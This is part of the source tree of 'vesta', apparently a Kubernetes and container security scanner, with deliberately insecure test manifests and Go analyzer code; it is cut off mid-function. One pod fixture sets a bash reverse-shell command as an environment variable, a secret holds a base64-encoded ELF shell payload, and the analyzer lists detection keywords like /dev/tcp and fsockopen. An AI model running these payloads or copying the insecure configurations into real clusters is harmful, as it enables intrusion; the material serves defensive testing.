    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: vulntest\n  labels:\n    app: vulntest\nspec:\n  automountServiceAccountToken: false\n  containers:\n    - name: vulntest\n      image: nginx\n      imagePullPolicy: IfNotPresent\n      volumeMounts:\n      - name: test-volume\n        mountPath: /opt/vulntest\n      ports:\n        - containerPort: 80\n      securityContext:\n        privileged: true\n      resources:\n        limits:\n          cpu: \"1\"\n          ephemeral-storage: \"1Gi\"\n    - name: sidecartest\n      image: mysql:5.6\n      ports:\n      - containerPort: 3306\n      imagePullPolicy: IfNotPresent\n      env:\n      - name: MYSQL_ROOT_PASSWORD\n        value: password\n      - name: MALWARE\n        value: \"bash -i >& /dev/tcp/127.0.0.1/9999 0>&1\"\n      - name: NO_PASSWORD\n        valueFrom:\n          resourceFieldRef:\n            containerName: test-volume\n            resource: requests.cpu\n      - name: env_secret\n        valueFrom:\n          secretKeyRef:\n            name: vuln-secret-pod-env\n            key: key\n            optional: false\n  volumes:\n    - name: test-volume\n      hostPath:\n        path: /etc/\n        type: Directory\n---\napiVersion: v1\nkind: Secret\nmetadata:\n  name: vuln-secret-pod-env\ntype: kubernetes.io/basic-auth\nstringData:\n  username: mysecret\n  password: Password123\n\n---\napiVersion: v1\nkind: Pod\nmetadata:\n  name: vulntest2\n  labels:\n    app: vulntest2\n  annotations:\n    seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*'\nspec:\n  containers:\n    - name: vulntest2\n      image: nginx\n      imagePullPolicy: IfNotPresent\n      volumeMounts:\n      ports:\n        - containerPort: 80\n      securityContext:\n        capabilities:\n          add: [\"CAP_SYS_ADMIN\"]\n      envFrom:\n        - configMapRef:\n            name: vuln-env-config\n---\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: vuln-env-config\ndata:\n  Token: Password123456"
  },
  {
    "path": "internal/analyzer/testdata/podsecuritypolicy.yaml",
    "content": "apiVersion: policy/v1beta1\nkind: PodSecurityPolicy\nmetadata:\n  name: pod-security-policy-vuln\nspec:\n  privileged: true\n  seLinux:\n    rule: RunAsAny\n  supplementalGroups:\n    rule: RunAsAny\n  runAsUser:\n    rule: RunAsAny\n  fsGroup:\n    rule: RunAsAny\n  defaultAddCapabilities:\n    - ALL"
  },
  {
    "path": "internal/analyzer/testdata/pv.yaml",
    "content": "apiVersion: v1\nkind: PersistentVolume\nmetadata:\n  name: testpv\n  labels:\n    type: local\nspec:\n  storageClassName: manual\n  capacity:\n    storage: 1Gi\n  accessModes:\n    - ReadWriteMany\n  hostPath:\n    path: \"/etc/\"\n\n"
  },
  {
    "path": "internal/analyzer/testdata/pvc.yaml",
    "content": "apiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: pvc\nspec:\n  storageClassName: manual\n  accessModes:\n    - ReadWriteMany\n  resources:\n    requests:\n      storage: 1Gi\n"
  },
  {
    "path": "internal/analyzer/testdata/rolebinding.yaml",
    "content": "kind: Role\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  namespace: default\n  name: vuln-role\nrules:\n- apiGroups: [\"\"]\n  resources: [\"pods\", \"services\"]\n  verbs: [\"get\", \"watch\", \"list\", \"create\", \"update\"]\n---\nkind: RoleBinding\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: vuln-rolebinding\n  namespace: default\nsubjects:\n  - kind: ServiceAccount\n    name: default\n    namespace: default\n  - kind: Group\n    name: system:serviceaccounts\n    apiGroup: rbac.authorization.k8s.io\n  - kind: Group\n    name: system:authenticated\n    apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: Role\n  name: vuln-role\n  apiGroup: rbac.authorization.k8s.io\n\n---\nkind: RoleBinding\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: vuln-rolebinding2\n  namespace: default\nsubjects:\n  - kind: Group\n    name: system:authenticated\n    apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: Role\n  name: vuln-role\n  apiGroup: rbac.authorization.k8s.io"
  },
  {
    "path": "internal/analyzer/testdata/secret.yaml",
    "content": "apiVersion: v1\nkind: Secret\nmetadata:\n  name: vulnsecret-basic-auth\ntype: kubernetes.io/basic-auth\nstringData:\n  username: admin\n  password: Password123\n\n---\napiVersion: v1\nkind: Secret\nmetadata:\n  name: vulnsecret\ntype: Opaque\ndata:\n  USER_NAME: YWRtaW4=\n  PASSWORD: YWRtaW4=\n\n---\napiVersion: v1\nkind: Secret\nmetadata:\n  name: malicioussecret\ntype: Opaque\ndata:\n  content: f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAowAAAAAAAADOAAAAAAAAAAAQAAAAAAAASLgvYmluL3NoAJlQVF9SZmgtY1ReUugHAAAAd2hvYW1pAFZXVF5qO1gPBQ==\n\n---\napiVersion: v1\nkind: Secret\ntype: kubernetes.io/dockerconfigjson\nmetadata:\n  name: vuln-docker-json\ndata:\n  .dockerconfigjson:\n    ewogICAgImF1dGhzIjogewogICAgICAgICJwcml2YXRlLnJlZ2lzdHJ5LmV4YW1wbGUuY29tIjogewogICAgICAgICAgICAidXNlcm5hbWUiOiAidXNlcm5hbWUiLAogICAgICAgICAgICAicGFzc3dvcmQiOiAicGFzc3dvcmQiLAogICAgICAgICAgICAiZW1haWwiOiAiYWRtaW5AYWRtaW4uY29tIiwKICAgICAgICAgICAgImF1dGgiOiAiZG5Wc2JtUnZZMnRsY2pwd1lYTnpkMjl5WkFvPSIKICAgICAgICB9CiAgICB9Cn0K"
  },
  {
    "path": "internal/analyzer/utils.go",
    "content": "package analyzer\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"math\"\n\t\"regexp\"\n\t\"sort\"\n\t\"strings\"\n\t\"time\"\n\n\tversion2 \"github.com/hashicorp/go-version\"\n\t\"github.com/kvesta/vesta/config\"\n\tv1 \"k8s.io/api/core/v1\"\n\tmetav1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n)\n\nvar (\n\tbaseMatch = regexp.MustCompile(`^([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)?$`)\n\n\tpassKey = []*regexp.Regexp{\n\t\tregexp.MustCompile(`(?i)pass`),\n\t\tregexp.MustCompile(`(?i)pwd`),\n\t\tregexp.MustCompile(`(?i)token`),\n\t\tregexp.MustCompile(`(?i)secret`),\n\t\tregexp.MustCompile(`(?i)key$`),\n\t\tregexp.MustCompile(`(?i)key[^.]`),\n\t}\n\n\t// Reference: https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv\n\tcveRuncRegex = regexp.MustCompile(`(?i)/proc/self/fd`)\n\n\tdangerPrefixMountPaths = []string{\"/etc/crontab\", \"/var/run\", \"/run/containerd\",\n\t\t\"/sys/fs/cgroup\", \"/root/.ssh\"}\n\n\tdangerFullPaths = []string{\"/\", \"/etc\", \"/proc\", \"/proc/1\", \"/sys\", \"/root\", \"/var/log\",\n\t\t\"/c\", \"/c/Users\", \"/private/etc\"}\n\n\tnamespaceWhileList = []string{\"istio-system\", \"kube-system\", \"kube-public\", \"ingress-nginx\",\n\t\t\"kubesphere-router-gateway\", \"kubesphere-system\", \"openshift-sdn\", \"openshift-node\", \"openshift-infra\"}\n\n\tdangerCaps = map[string]string{\n\t\t\"SYS_ADMIN\": \"critical\", \"CAP_SYS_ADMIN\": \"critical\",\n\t\t\"CAP_SYS_PTRACE\": \"high\", \"CAP_SYS_MODULE\": \"high\",\n\t\t\"CAP_SYS_CHROOT\": \"high\", \"SYS_PTRACE\": \"high\",\n\t\t\"DAC_OVERRIDE\": \"high\", \"CAP_BPF\": \"medium\",\n\t\t\"CAP_DAC_READ_SEARCH\": \"medium\", \"NET_ADMIN\": \"medium\",\n\t}\n\n\tunsafeAnnotations = map[string]AnType{\n\t\t\"sidecar.istio.io/proxyImage\":                              {component: \"istio\", level: \"warning\"},\n\t\t\"sidecar.istio.io/userVolumeMount\":                         {component: \"istio\", level: \"warning\"},\n\t\t\"seccomp.security.alpha.kubernetes.io/allowedProfileNames\": {component: \"PodSecurityPolicy\", level: \"medium\", Values: []string{\"*\"}},\n\t\t\"apparmor.security.beta.kubernetes.io/allowedProfileNames\": {component: \"PodSecurityPolicy\", level: \"medium\", Values: []string{\"*\"}},\n\t\t\"nginx.ingress.kubernetes.io/permanent-redirect\":           {component: \"nginx ingress\", level: \"medium\", Values: []string{\"{\", \";\", \"$\", \"(\", \"'\", `\"\"`}},\n\t\t\"nginx.ingress.kubernetes.io/server-snippet\":               {component: \"nginx ingress\", level: \"medium\", Values: []string{\"serviceaccount/token\"}},\n\t\t\"security.alpha.kubernetes.io/sysctls\": {component: \"k8s\", level: \"low\",\n\t\t\tValues: []string{\"kernel.shm_rmid_forced=0\", \"net.core.\", \"kernel.shm\", \"kernel.msg\", \"kernel.sem\", \"fs.mqueue.\"}},\n\t}\n)\n\ntype AnType struct {\n\tcomponent string\n\tlevel     string\n\tValues    []string\n}\n\nfunc checkWeakPassword(pass string) string {\n\tcountCase := 0\n\n\tpass = string(decodeBase64(pass))\n\n\t// Particularly checking the keyword\n\tkeyWords := []string{\"password\", \"admin\", \"qwerty\", \"1q2w3e\", \"123456\"}\n\tfor _, keyword := range keyWords {\n\t\treplmatch := regexp.MustCompile(fmt.Sprintf(`(?i)%s`, keyword))\n\t\tpass = replmatch.ReplaceAllString(pass, \"\")\n\t}\n\n\tlength := len(pass)\n\n\tlowerCase := regexp.MustCompile(`[a-z]`)\n\tlowerMatch := lowerCase.FindStringSubmatch(pass)\n\tif len(lowerMatch) > 0 {\n\t\tcountCase += 1\n\t}\n\n\tupperCase := regexp.MustCompile(`[A-Z]`)\n\tupperMatch := upperCase.FindStringSubmatch(pass)\n\tif len(upperMatch) > 0 {\n\t\tcountCase += 2\n\t}\n\n\tnumberCase := regexp.MustCompile(`[\\d]`)\n\tnumberMatch := numberCase.FindStringSubmatch(pass)\n\tif len(numberMatch) > 0 {\n\t\tcountCase += 1\n\t}\n\n\tcharacterCase := regexp.MustCompile(`[^\\w]`)\n\tcharacterMatch := characterCase.FindStringSubmatch(pass)\n\tif len(characterMatch) > 0 {\n\t\tcountCase += 1\n\t}\n\n\tif length <= 6 {\n\t\tswitch countCase {\n\t\tcase 3, 4:\n\t\t\treturn \"Medium\"\n\t\tdefault:\n\t\t\treturn \"Weak\"\n\t\t}\n\n\t} else if length > 6 && length <= 10 {\n\t\tswitch countCase {\n\t\tcase 4, 3:\n\t\t\treturn \"Strong\"\n\t\tcase 2:\n\t\t\treturn \"Medium\"\n\t\tcase 1, 0:\n\t\t\treturn \"Weak\"\n\n\t\t}\n\t} else {\n\t\tif countCase < 2 {\n\t\t\treturn \"Medium\"\n\t\t}\n\t}\n\n\treturn \"Strong\"\n}\n\nfunc compareVersion(currentVersion, maxVersion, minVersion string) bool {\n\tk1, err := version2.NewVersion(currentVersion)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tif strings.Contains(maxVersion, \"=\") {\n\t\tmaxv, err := version2.NewVersion(maxVersion[1:])\n\t\tif err != nil {\n\t\t\treturn false\n\t\t}\n\n\t\tif strings.Contains(minVersion, \"=\") {\n\t\t\tminv, err := version2.NewVersion(minVersion[1:])\n\t\t\tif err != nil {\n\t\t\t\treturn false\n\t\t\t}\n\n\t\t\tif k1.Compare(maxv) <= 0 && k1.Compare(minv) >= 0 {\n\t\t\t\treturn true\n\t\t\t}\n\t\t} else {\n\t\t\tminv, err := version2.NewVersion(minVersion)\n\t\t\tif err != nil {\n\t\t\t\treturn false\n\t\t\t}\n\n\t\t\tif k1.Compare(maxv) <= 0 && k1.Compare(minv) > 0 {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\n\t} else {\n\t\tmaxv, err := version2.NewVersion(maxVersion)\n\t\tif err != nil {\n\t\t\treturn false\n\t\t}\n\n\t\tif strings.Contains(minVersion, \"=\") {\n\t\t\tminv, err := version2.NewVersion(minVersion[1:])\n\t\t\tif err != nil {\n\t\t\t\treturn false\n\t\t\t}\n\n\t\t\tif k1.Compare(maxv) < 0 && k1.Compare(minv) >= 0 {\n\n\t\t\t\treturn true\n\t\t\t}\n\t\t} else {\n\t\t\tminv, err := version2.NewVersion(minVersion)\n\t\t\tif err != nil {\n\t\t\t\treturn false\n\t\t\t}\n\n\t\t\tif k1.Compare(maxv) < 0 && k1.Compare(minv) > 0 {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\treturn false\n}\n\nfunc checkPrefixMountPaths(path string) bool {\n\tfor _, p := range dangerPrefixMountPaths {\n\t\tif strings.HasPrefix(path, p) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc checkFullPaths(path string) bool {\n\n\tfor _, p := range dangerFullPaths {\n\t\tif path == p {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc checkMountPath(path string) bool {\n\tpath = strings.TrimSuffix(path, \"/\")\n\treturn checkPrefixMountPaths(path) || checkFullPaths(path)\n}\n\nfunc sortSeverity(threats []*threat) {\n\tsort.SliceStable(threats, func(i, j int) bool {\n\t\treturn config.SeverityMap[threats[i].Severity] > config.SeverityMap[threats[j].Severity]\n\t})\n}\n\ntype MalReporter struct {\n\tTypes MalLevel\n\tScore float64\n\tPlain string\n}\n\ntype MalLevel int8\n\nconst (\n\t// Unknown item represents the content is normal.\n\tUnknown MalLevel = 0\n\t// Confusion item represents the content matches many safe rules.\n\tConfusion MalLevel = 1\n\t// Executable item represents the content is an executable binary.\n\tExecutable MalLevel = 2\n)\n\nfunc maliciousContentCheck(command string) MalReporter {\n\n\trep := MalReporter{}\n\n\t// Some string is encoded many times\n\tsDec := decodeBase64(command)\n\n\tswitch {\n\tcase bytes.HasPrefix(sDec, []byte(\"\\x7fELF\")), strings.HasPrefix(string(sDec), \"\\\\x7F\\\\x45\\\\x4C\\\\x46\"):\n\t\trep.Types = Executable\n\t\trep.Plain = \"ELF LSB executable binary\"\n\t\trep.Score = 0.9\n\n\t\treturn rep\n\n\tcase bytes.HasPrefix(sDec, []byte(\"MZ\")), strings.HasPrefix(string(sDec), \"\\\\x4d\\\\x5a\"):\n\t\trep.Types = Executable\n\t\trep.Plain = \"PE32+ executable for MS Windows\"\n\t\trep.Score = 0.9\n\n\tdefault:\n\t\t// ignore\n\t}\n\n\tcommandPlain := string(sDec)\n\n\tif isPath(commandPlain) {\n\t\trep.Types = Unknown\n\t\treturn rep\n\t}\n\n\tkeySymbolReg := regexp.MustCompile(`[~$&<>*!():=.|\\\\+#;]`)\n\tSymbolCount := len(keySymbolReg.FindAllString(commandPlain, -1))\n\n\tkeyFuncs := []string{\"syscall\", \"open\", \"select\", \"fork\", \"proc\", \"system\", \"exit\",\n\t\t\"/dev/tcp/\", \"/bin/sh\", \"/bin/bash\", \"subprocess.\", \"fsockopen\", \"TCPSocket\", \"()\", \"->\"}\n\tvar funcCount int\n\tfor _, f := range keyFuncs {\n\t\tfuncCount += strings.Count(commandPlain, f) * len(f)\n\t}\n\n\treplacer := strings.NewReplacer(\" \", \"\", \"\\n\", \"\", \"\\t\", \"\")\n\tcommandLen := len(replacer.Replace(commandPlain))\n\n\tscore := float64(SymbolCount*3+funcCount) / float64(commandLen)\n\tratio := math.Pow(10, float64(2))\n\tscore = math.Round(score*ratio) / ratio\n\n\tif commandLen < 30 {\n\t\tscore = 0.0\n\t}\n\n\tif score > 0.75 {\n\t\trep.Types = Confusion\n\t} else {\n\t\trep.Types = Unknown\n\t}\n\n\trep.Score = score\n\tif len(commandPlain) > 50 {\n\t\trep.Plain = commandPlain[:50]\n\n\t\treturn rep\n\t}\n\n\trep.Plain = commandPlain\n\n\treturn rep\n}\n\nfunc decodeBase64(content string) []byte {\n\tnormalRegx := regexp.MustCompile(`[\\w]`)\n\n\tres := []byte(content)\n\n\tfor i := 0; i < 10; i++ {\n\n\t\tif !baseMatch.Match(res) {\n\t\t\tbreak\n\t\t}\n\n\t\tde, err := base64.StdEncoding.DecodeString(string(res))\n\n\t\tif err != nil || len(de) < 1 {\n\t\t\tres = []byte(content)\n\t\t\tbreak\n\t\t}\n\n\t\tif len(normalRegx.FindAllSubmatch(de, -1)) < 1 {\n\t\t\tbreak\n\t\t}\n\n\t\tres = de\n\t}\n\n\treturn res\n}\n\nfunc standardDeviation[T float64 | int](num []T) float64 {\n\tvar sum, mean, sd float64\n\tlength := len(num)\n\tfor i := 1; i <= length; i++ {\n\t\tsum += float64(num[i-1])\n\t}\n\tmean = sum / float64(length)\n\tfor j := 0; j < length; j++ {\n\t\tsd += math.Pow(float64(num[j])-mean, 2)\n\t}\n\treturn sd / float64(length)\n}\n\nfunc isPath(content string) bool {\n\tpathRegex := regexp.MustCompile(`(/{0,1}(([\\w.\\-?]|(\\\\ ))+/)*([\\w.\\-?]|(\\\\ ))+)|/`)\n\n\treplacer := strings.NewReplacer(\";\", \"\", \":\", \"\")\n\tpruneContent := replacer.Replace(content)\n\tpathMatch := pathRegex.FindStringSubmatch(pruneContent)\n\tif len(pathMatch) > 0 && pathMatch[0] == pruneContent {\n\t\treturn true\n\t}\n\n\treturn false\n}\n\nfunc (ks *KScanner) findEnvValue(container v1.Container, name, ns string) string {\n\tvar value string\n\n\tfor _, env := range container.Env {\n\t\tif env.Name == name {\n\t\t\tif env.ValueFrom != nil {\n\t\t\t\tswitch {\n\t\t\t\tcase env.ValueFrom.ConfigMapKeyRef != nil:\n\t\t\t\t\tconfigRef := env.ValueFrom.ConfigMapKeyRef\n\t\t\t\t\tvalue = ks.findSecretOrConfigMapValue(configRef.Name, \"ConfigMap\", ns)\n\n\t\t\t\tcase env.ValueFrom.SecretKeyRef != nil:\n\t\t\t\t\tconfigRef := env.ValueFrom.SecretKeyRef\n\t\t\t\t\tvalue = ks.findSecretOrConfigMapValue(configRef.Name, \"Secret\", ns)\n\n\t\t\t\tdefault:\n\t\t\t\t\t//ignore\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tvalue = env.Value\n\t\t\t}\n\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn value\n}\n\nfunc (ks *KScanner) getRBACVulnType(ns string) RBACVuln {\n\trbv := RBACVuln{\n\t\tSeverity: \"warning\",\n\t}\n\tclusterNames := []string{}\n\troleNames := []string{}\n\n\tgetInfo := func(param string) (string, string) {\n\t\tparamSplit := strings.Split(param, \"|\")\n\t\tbindingName := strings.Split(paramSplit[0], \":\")[1]\n\t\tbindingName = strings.TrimSpace(bindingName)\n\t\tnameSpace := strings.Split(paramSplit[len(paramSplit)-2], \":\")[1]\n\t\tnameSpace = strings.TrimSpace(nameSpace)\n\t\treturn bindingName, nameSpace\n\t}\n\n\tfor _, t := range ks.VulnConfigures {\n\n\t\tswitch t.Type {\n\t\tcase \"ClusterRoleBinding\", \"RoleBinding\":\n\t\t\tbn, n := getInfo(t.Param)\n\t\t\tswitch {\n\t\t\tcase n != ns && n != \"all\", t.Severity == \"warning\":\n\t\t\t\tcontinue\n\t\t\tcase config.SeverityMap[rbv.Severity] <\n\t\t\t\tconfig.SeverityMap[t.Severity]:\n\t\t\t\trbv.Severity = t.Severity\n\t\t\t}\n\n\t\t\tif t.Type == \"ClusterRoleBinding\" {\n\t\t\t\tclusterNames = append(clusterNames, bn)\n\t\t\t} else {\n\t\t\t\troleNames = append(roleNames, bn)\n\t\t\t}\n\n\t\tdefault:\n\t\t\t// ignore\n\t\t}\n\t}\n\n\trbv.RoleBinding = strings.Join(roleNames, \", \")\n\trbv.ClusterRoleBinding = strings.Join(clusterNames, \", \")\n\n\treturn rbv\n}\n\nfunc (ks *KScanner) checkConfigVulnType(ns, name, ty string, configReg *regexp.Regexp) (bool, *threat) {\n\tvar vuln = false\n\tth := &threat{}\n\n\tfor _, t := range ks.VulnConfigures {\n\n\t\tif t.Type != ty {\n\t\t\tcontinue\n\t\t}\n\n\t\tconfigMatch := configReg.FindStringSubmatch(t.Param)\n\t\tconfigName := strings.TrimSpace(configMatch[1])\n\t\tnamespace := strings.TrimSpace(configMatch[2])\n\t\tif configName == name && namespace == ns {\n\t\t\tth = t\n\t\t\tth.Type = \"Sidecar EnvFrom\"\n\t\t\tth.Describe = \"Sidecar envFrom \" + th.Describe\n\n\t\t\tvuln = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn vuln, th\n}\n\nfunc (ks *KScanner) getPodFromLabels(ns string, matchLabels map[string]string) v1.Pod {\n\tp := v1.Pod{}\n\n\tfor k, v := range matchLabels {\n\t\ttargetPod, err := ks.KClient.\n\t\t\tCoreV1().\n\t\t\tPods(ns).\n\t\t\tList(context.TODO(),\n\t\t\t\tmetav1.ListOptions{\n\t\t\t\t\tLabelSelector: fmt.Sprintf(\"%s=%s\", k, v),\n\t\t\t\t})\n\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tif len(targetPod.Items) > 0 {\n\t\t\tp = targetPod.Items[0]\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn p\n}\n\n// addExtraPod which in the white list namespace\nfunc (ks *KScanner) addExtraPod(ns string, p v1.Pod, vList []*threat) {\n\tisChecked := false\n\tfor _, vulnPod := range ks.VulnContainers {\n\t\tif vulnPod.ContainerName == p.Name &&\n\t\t\tvulnPod.Namepsace == ns {\n\t\t\tisChecked = true\n\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !isChecked && p.Name != \"\" {\n\t\tsortSeverity(vList)\n\n\t\tc := &container{\n\t\t\tContainerName: p.Name,\n\t\t\tNamepsace:     ns,\n\t\t\tStatus:        string(p.Status.Phase),\n\t\t\tNodeName:      p.Spec.NodeName,\n\t\t\tThreats:       vList,\n\t\t}\n\n\t\tks.VulnContainers = append(ks.VulnContainers, c)\n\t}\n}\n\n// prunePod assesses whether a pod need to check if namespace of pod in white list\nfunc (ks *KScanner) prunePod(ns, podName string) (bool, error) {\n\tpods, err := ks.KClient.\n\t\tCoreV1().\n\t\tPods(ns).\n\t\tList(context.TODO(), metav1.ListOptions{})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\ttype PodStatus struct {\n\t\tAge      float64\n\t\tRestarts int\n\t}\n\n\tp := PodStatus{}\n\n\tpodNumber := len(pods.Items)\n\n\tageWeight := make([]float64, podNumber-1)\n\trestartWeight := make([]int, podNumber-1)\n\n\tindex := 0\n\tfor _, pod := range pods.Items {\n\t\tif len(pod.Status.ContainerStatuses) < 1 {\n\t\t\tcontinue\n\t\t}\n\n\t\tage := time.Since(pod.CreationTimestamp.Time)\n\t\trestarts := pod.Status.ContainerStatuses[0].RestartCount\n\n\t\tif pod.Name == podName {\n\t\t\tp.Age = math.Round(age.Hours())\n\t\t\tp.Restarts = int(restarts)\n\t\t\tcontinue\n\t\t}\n\n\t\tageWeight[index] = math.Round(age.Hours())\n\t\trestartWeight[index] = int(restarts)\n\t\tindex += 1\n\t}\n\n\tsort.Float64s(ageWeight)\n\tsort.Ints(restartWeight)\n\tageDeviation := standardDeviation[float64](ageWeight)\n\trestartDeviation := math.Sqrt(standardDeviation[int](restartWeight))\n\n\tageCount := map[float64]int{}\n\trestartCount := map[int]int{}\n\tfor i := 0; i < podNumber-1; i++ {\n\t\tage := ageWeight[i]\n\t\trestarts := restartWeight[i]\n\n\t\tif _, ok := ageCount[age]; ok {\n\t\t\tageCount[age] += 1\n\t\t} else {\n\t\t\tageCount[age] = 1\n\t\t}\n\n\t\tif _, ok := restartCount[restarts]; ok {\n\t\t\trestartCount[restarts] += 1\n\t\t} else {\n\t\t\trestartCount[restarts] = 1\n\t\t}\n\t}\n\n\tscore := 0.0\n\n\tfor number, count := range ageCount {\n\t\tif math.Abs(p.Age-number) > ageDeviation {\n\t\t\tscore = math.Max(score, float64(count)/float64(podNumber-1))\n\t\t}\n\t}\n\n\t// compare to the oldest operation\n\tscore += 0.2 * math.Abs(float64(p.Age)-ageWeight[podNumber-2]) / (ageWeight[podNumber-2] / 960)\n\n\trscore := 0.0\n\tfor number, count := range restartCount {\n\t\tif math.Abs(float64(p.Restarts-number)) > restartDeviation {\n\t\t\trscore = math.Max(rscore, float64(count)/float64(podNumber-1))\n\t\t}\n\t}\n\n\tscore += rscore\n\n\tif score < 0.7 {\n\t\treturn true, nil\n\t}\n\n\treturn false, nil\n}\n"
  },
  {
    "path": "internal/encode.go",
    "content": "package internal\n\nimport (\n\t\"math/rand\"\n\t\"time\"\n)\n\nfunc RandomString() string {\n\trand.Seed(time.Now().UnixNano())\n\n\tcharset := []rune(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\")\n\tb := make([]rune, 32)\n\tfor i := range b {\n\t\tb[i] = charset[rand.Intn(len(charset))]\n\t}\n\n\treturn string(b)\n}\n"
  },
  {
    "path": "internal/extract.go",
    "content": "package internal\n\nimport (\n\t\"archive/tar\"\n\t\"context\"\n\t\"io\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t\"github.com/kvesta/vesta/pkg\"\n\t\"github.com/kvesta/vesta/pkg/layer\"\n)\n\nfunc exists(path string) bool {\n\t_, err := os.Stat(path)\n\tif err != nil {\n\t\tif os.IsExist(err) {\n\t\t\treturn true\n\t\t}\n\n\t\treturn false\n\t}\n\treturn true\n}\n\n// mkFolder get current path and create a temp folder\nfunc mkFolder(foldername string) string {\n\tpwd, _ := os.Getwd()\n\ttempFolder := filepath.Join(pwd, foldername)\n\tif !exists(tempFolder) {\n\t\tos.MkdirAll(tempFolder, os.FileMode(0755))\n\t}\n\n\treturn tempFolder\n}\n\n// Extract layers from inspector tar\nfunc Extract(ctx context.Context, tarPath string, tarIO []io.ReadCloser) (*layer.Manifest, error) {\n\tvar tarReader *tar.Reader\n\n\ttempPath := mkFolder(RandomString())\n\n\tif tarIO == nil {\n\t\timage, err := os.Open(tarPath)\n\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdefer image.Close()\n\n\t\ttarReader = tar.NewReader(image)\n\t} else {\n\t\ttarReader = tar.NewReader(tarIO[0])\n\t}\n\n\t// command `docker export` will generate a single file system\n\t// just return the directory\n\tif ctx.Value(\"tarType\") == \"container\" {\n\t\terr := pkg.Walk(tarReader, tempPath)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"extract tar file failed: %v\", err)\n\t\t}\n\n\t\t// Get mount path\n\t\tif len(tarIO) > 1 {\n\t\t\tfor _, mio := range tarIO[1:] {\n\t\t\t\ttarReader = tar.NewReader(mio)\n\t\t\t\terr = pkg.Walk(tarReader, tempPath)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"decompress mount path failed, error: %v\", err)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\timg := &layer.Manifest{\n\t\t\tLocalpath: tempPath,\n\t\t\tHash:      \"container\",\n\t\t}\n\n\t\treturn img, nil\n\t}\n\n\t// need temp folder path to get layer.tar\n\timg, err := Inspect(ctx, tempPath, tarReader)\n\tif err != nil {\n\t\tlog.Printf(\"Getting layers failed\")\n\t\treturn nil, err\n\t}\n\n\t// integrate all layers\n\tfor _, l := range img.Layers {\n\t\terr := l.Integration(tempPath, l.Hash)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t}\n\n\treturn img, nil\n}\n"
  },
  {
    "path": "internal/inspect.go",
    "content": "package internal\n\nimport (\n\t\"archive/tar\"\n\t\"context\"\n\t\"github.com/kvesta/vesta/pkg/layer\"\n)\n\n// Inspect get inspector struct\nfunc Inspect(ctx context.Context, tempPath string, tarReader *tar.Reader) (*layer.Manifest, error) {\n\timage := layer.Manifest{}\n\tif err := image.GetLayers(ctx, tarReader, tempPath); err != nil {\n\t\treturn nil, err\n\t}\n\n\timage.Localpath = tempPath\n\n\treturn &image, nil\n}\n"
  },
  {
    "path": "internal/report/files.go",
    "content": "package report\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"time\"\n\n\t\"github.com/kvesta/vesta/config\"\n\t\"github.com/kvesta/vesta/internal/analyzer\"\n\t\"github.com/kvesta/vesta/internal/vulnscan\"\n\n\t\"k8s.io/apimachinery/pkg/util/json\"\n)\n\nfunc exists(path string) bool {\n\t_, err := os.Stat(path)\n\tif err != nil {\n\t\tif os.IsExist(err) {\n\t\t\treturn true\n\t\t}\n\n\t\treturn false\n\t}\n\treturn true\n}\n\nfunc getOutputFile(ctx context.Context) (string, error) {\n\toutfile := ctx.Value(\"output\").(string)\n\tif outfile == \"output\" {\n\t\tpwd, _ := os.Getwd()\n\t\tfolder := filepath.Join(pwd, \"output\")\n\t\tif !exists(folder) {\n\t\t\terr := os.MkdirAll(folder, os.FileMode(0755))\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t}\n\t\tnowStamp := time.Now().Format(\"2006-01-02\")\n\t\tfile := filepath.Join(folder, fmt.Sprintf(\"%s.json\", nowStamp))\n\n\t\treturn file, nil\n\n\t} else {\n\t\tfolder := filepath.Dir(outfile)\n\t\tif !exists(folder) {\n\t\t\terr := os.MkdirAll(folder, os.FileMode(0755))\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t}\n\n\t\treturn outfile, nil\n\n\t}\n\n}\n\nfunc ScanToJson(ctx context.Context, r vulnscan.Scanner) error {\n\tfilename, err := getOutputFile(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdata, err := json.Marshal(r.Vulns)\n\tif err != nil 